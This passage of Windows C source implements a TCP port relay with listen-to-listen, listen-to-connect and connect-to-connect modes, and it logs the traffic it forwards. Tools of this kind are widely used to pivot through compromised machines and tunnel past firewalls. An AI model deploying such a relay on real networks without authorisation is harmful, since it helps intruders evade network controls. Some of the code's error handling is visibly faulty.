    return;
}

//************************************************************************************
// 
// test if is value 
//
//************************************************************************************
int testifisvalue(char *str)
{
    if(str == NULL ) return(0);
    if(str[0]=='-') return(0);
    return(1);
}

//************************************************************************************
// 
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort
//
//************************************************************************************
void bind2bind(int port1, int port2)
{
    SOCKET fd1,fd2, sockfd1, sockfd2;
    struct sockaddr_in client1,client2;
    int size1,size2;

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;

    if((fd1=create_socket())==0) return;
    if((fd2=create_socket())==0) return;

    printf("[+] Listening port %d ......\r\n",port1);
    fflush(stdout);

    if(create_server(fd1, port1)==0)
    {
        closesocket(fd1);
        return;
    }

    printf("[+] Listen OK!\r\n");
    printf("[+] Listening port %d ......\r\n",port2);
    fflush(stdout);
    if(create_server(fd2, port2)==0)
    {
        closesocket(fd2);
        return;
    }

    printf("[+] Listen OK!\r\n");
    size1=size2=sizeof(struct sockaddr);
    while(1)
    {
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)
        {
            printf("[-] Accept1 error.\r\n");
            continue;
        }

        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));
        printf("[+] Waiting another Client on port:%d....\r\n", port2);
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)
        {
            printf("[-] Accept2 error.\r\n");
            closesocket(sockfd1);
            continue;
        }

        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));
        printf("[+] Accept Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); 
        if(hThread == NULL) 
        {
            TerminateThread(hThread, 0);
            return;
        }

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
// 
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void bind2conn(int port1, char *host, int port2)
{
    SOCKET sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    char buffer[1024];

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;

    if (port1 > 65535 || port1 < 1)
    {
        printf("[-] ConnectPort invalid.\r\n");
        return;
    }

    if (port2 > 65535 || port2 < 1)
    {
        printf("[-] TransmitPort invalid.\r\n");
        return;
    }

    memset(buffer,0,1024);

    if((sockfd=create_socket()) == INVALID_SOCKET) return;

    if(create_server(sockfd, port1) == 0) 
    {
        closesocket(sockfd);
        return;
    }

    size=sizeof(struct sockaddr);
    while(1)
    {
        printf("[+] Waiting for Client ......\r\n");      
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)
        {
            printf("[-] Accept error.\r\n");
            continue;
        }

        printf("[+] Accept a Client from %s:%d ......\r\n",
            inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));
        if((sockfd2=create_socket())==0) 
        {
            closesocket(sockfd1);
            continue;      
        }
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);
        fflush(stdout);

        if(client_connect(sockfd2,host,port2)==0)
        {
            closesocket(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);
            send(sockfd1,buffer,strlen(buffer),0);
            memset(buffer, 0, 1024);
            closesocket(sockfd1);
            continue;
        }

        printf("[+] Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); 
        if(hThread == NULL) 
        {
            TerminateThread(hThread, 0);
            return;
        }

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
// 
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void conn2conn(char *host1,int port1,char *host2,int port2)
{
    SOCKET sockfd1,sockfd2;

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;
    fd_set fds;
    int l;
    char buffer[MAXSIZE];

    while(1)
    {
        /*
           while(connectnum)
           {
           if(connectnum < CONNECTNUM) 
           {
           Sleep(10000);
           break;
           }
           else
           {
           Sleep(TIMEOUT*1000);
           continue;
           }            
           }
           */

        if((sockfd1=create_socket())==0) return;
        if((sockfd2=create_socket())==0) return;

        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);
        fflush(stdout);
        if(client_connect(sockfd1,host1,port1)==0) 
        {
            closesocket(sockfd1);
            closesocket(sockfd2);
            continue;
        }

        // fix by bkbll 
        // if host1:port1 recved data, than connect to host2,port2
        l=0;
        memset(buffer,0,MAXSIZE);
        while(1)
        {
            FD_ZERO(&fds);
            FD_SET(sockfd1, &fds);

            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR) 
            {
                if (errno == WSAEINTR) continue;
                break;
            }
            if (FD_ISSET(sockfd1, &fds)) 
            {
                l=recv(sockfd1, buffer, MAXSIZE, 0);
                break;
            }
            Sleep(5);
        }

        if(l<=0) 
        {      
            printf("[-] There is a error...Create a new connection.\r\n");
            continue;
        }
        while(1)
        {
            printf("[+] Connect OK!\r\n");
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);
            fflush(stdout);
            if(client_connect(sockfd2,host2,port2)==0) 
            {
                closesocket(sockfd1);
                closesocket(sockfd2);
                continue;
            }

            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)
            {      
                printf("[-] Send failed.\r\n");
                continue;
            }

            l=0;
            memset(buffer,0,MAXSIZE);
            break;
        }

        printf("[+] All Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID); 
        if(hThread == NULL) 
        {
            TerminateThread(hThread, 0);
            return;
        }

        //            connectnum++;

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
// 
// Socket Transmit to Socket
//
//************************************************************************************
void transmitdata(LPVOID data)
{
    SOCKET fd1, fd2;
    transocket *sock;
    struct timeval timeset;
    fd_set readfd,writefd;
    int result,i=0;
    char read_in1[MAXSIZE],send_out1[MAXSIZE];
    char read_in2[MAXSIZE],send_out2[MAXSIZE];
    int read1=0,totalread1=0,send1=0;
    int read2=0,totalread2=0,send2=0;
    int sendcount1,sendcount2;
    int maxfd;
    struct sockaddr_in client1,client2;
    int structsize1,structsize2;
    char host1[20],host2[20];
    int port1=0,port2=0;
    char tmpbuf[100];

    sock = (transocket *)data;
    fd1 = sock->fd1;
    fd2 = sock->fd2;

    memset(host1,0,20);
    memset(host2,0,20);
    memset(tmpbuf,0,100);

    structsize1=sizeof(struct sockaddr);
    structsize2=sizeof(struct sockaddr);

    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)
    {
        strcpy(host1, "fd1");
    }
    else
    {      
        //            printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
        strcpy(host1, inet_ntoa(client1.sin_addr));
        port1=ntohs(client1.sin_port);
    }

    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)
    {
        strcpy(host2,"fd2");
    }
    else
    {      
        //            printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
        strcpy(host2, inet_ntoa(client2.sin_addr));
        port2=ntohs(client2.sin_port);
    }

    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);

    maxfd=max(fd1,fd2)+1;
    memset(read_in1,0,MAXSIZE);
    memset(read_in2,0,MAXSIZE);
    memset(send_out1,0,MAXSIZE);
    memset(send_out2,0,MAXSIZE);

    timeset.tv_sec=TIMEOUT;
    timeset.tv_usec=0;

    while(1)
    {
        FD_ZERO(&readfd);
        FD_ZERO(&writefd); 

        FD_SET((UINT)fd1, &readfd);
        FD_SET((UINT)fd1, &writefd);
        FD_SET((UINT)fd2, &writefd);
        FD_SET((UINT)fd2, &readfd);

        result=select(maxfd,&readfd,&writefd,NULL,&timeset);
        if((result<0) && (errno!=EINTR))
        {
            printf("[-] Select error.\r\n");
            break;
        }
        else if(result==0)
        {
            printf("[-] Socket time out.\r\n");
            break;
        }

        if(FD_ISSET(fd1, &readfd))
        {

            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */
            if(totalread1<MAXSIZE)
            {
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0); 
                if((read1==SOCKET_ERROR) || (read1==0))
                {
                    printf("[-] Read fd1 data error,maybe close?\r\n");
                    break;
                }

                memcpy(send_out1+totalread1,read_in1,read1);
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);
                makelog(tmpbuf,strlen(tmpbuf));
                makelog(read_in1,read1);
                totalread1+=read1;
                memset(read_in1,0,MAXSIZE);
            }
        }

        if(FD_ISSET(fd2, &writefd))
        {
            int err=0;
            sendcount1=0;
            while(totalread1>0)
            {
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);
                if(send1==0)break;
                if((send1<0) && (errno!=EINTR))
                {
                    printf("[-] Send to fd2 unknow error.\r\n");
                    err=1;
                    break;
                }

                if((send1<0) && (errno==ENOSPC)) break;
                sendcount1+=send1;
                totalread1-=send1; 

                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);
            }

            if(err==1) break;
            if((totalread1>0) && (sendcount1>0))
            {
                /* move not sended data to start addr */
                memcpy(send_out1,send_out1+sendcount1,totalread1);
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);
            }
            else
                memset(send_out1,0,MAXSIZE);
        } 

        if(FD_ISSET(fd2, &readfd))
        {
            if(totalread2<MAXSIZE)
            {
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0); 
                if(read2==0)break;
                if((read2<0) && (errno!=EINTR))
                {
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");
                    break;
                }

                memcpy(send_out2+totalread2,read_in2,read2);
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);
                makelog(tmpbuf,strlen(tmpbuf));
                makelog(read_in2,read2);
                totalread2+=read2;
                memset(read_in2,0,MAXSIZE);
            }
        }

        if(FD_ISSET(fd1, &writefd))
        {
            int err2=0;
            sendcount2=0;
            while(totalread2>0)
            {
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);
                if(send2==0)break;
                if((send2<0) && (errno!=EINTR))
                {
                    printf("[-] Send to fd1 unknow error.\r\n");
                    err2=1;
                    break;
                }
                if((send2<0) && (errno==ENOSPC)) break;
                sendcount2+=send2;
                totalread2-=send2; 

                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);
            }
            if(err2==1) break;
            if((totalread2>0) && (sendcount2 > 0))
            {
                /* move not sended data to start addr */
                memcpy(send_out2, send_out2+sendcount2, totalread2);
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);
            }
            else
                memset(send_out2,0,MAXSIZE);
        } 

        Sleep(5);
    } 

    closesocket(fd1);
    closesocket(fd2);
    //      if(method == 3)
    //            connectnum --;

    printf("\r\n[+] OK! I Closed The Two Socket.\r\n"); 
}

void getctrlc(int j)
{
    printf("\r\n[-] Received Ctrl+C\r\n");
    closeallfd();
    exit(0);
}

void closeallfd()
{
    int i;

    printf("[+] Let me exit ......\r\n");
    fflush(stdout);

    for(i=3; i<256; i++)
    {
        closesocket(i);      
    }

    if(fp != NULL) 
    {
        fprintf(fp,"\r\n====== Exit ======\r\n");
        fclose(fp);
    }

    printf("[+] All Right!\r\n");
}

int create_socket()
{ 
    int sockfd;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("[-] Create socket error.\r\n");
        return(0);
    }

    return(sockfd);      
}

int create_server(int sockfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;

    memset(&srvaddr, 0, sizeof(struct sockaddr));

    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);

    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port

    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
    {
        printf("[-] Socket bind error.\r\n");
        return(0);
    }

    if(listen(sockfd,CONNECTNUM)<0)
    {
        printf("[-] Socket Listen error.\r\n");
        return(0);
    }

    return(1);
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if(!(host=gethostbyname(server)))
    {
        printf("[-] Gethostbyname(%s) error:%s\n",server,strerror(errno));
        return(0);
    }      

    memset(&cliaddr, 0, sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);

    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("[-] Connect error.\r\n");
        return(0);
    }
    return(1);
}

void makelog(char *buffer,int length)
{
    if(fp !=NULL)
    {
        //            fprintf(fp, "%s", buffer);
        //            printf("%s",buffer);
        write(fileno(fp),buffer,length);
        //            fflush(fp);
    }
}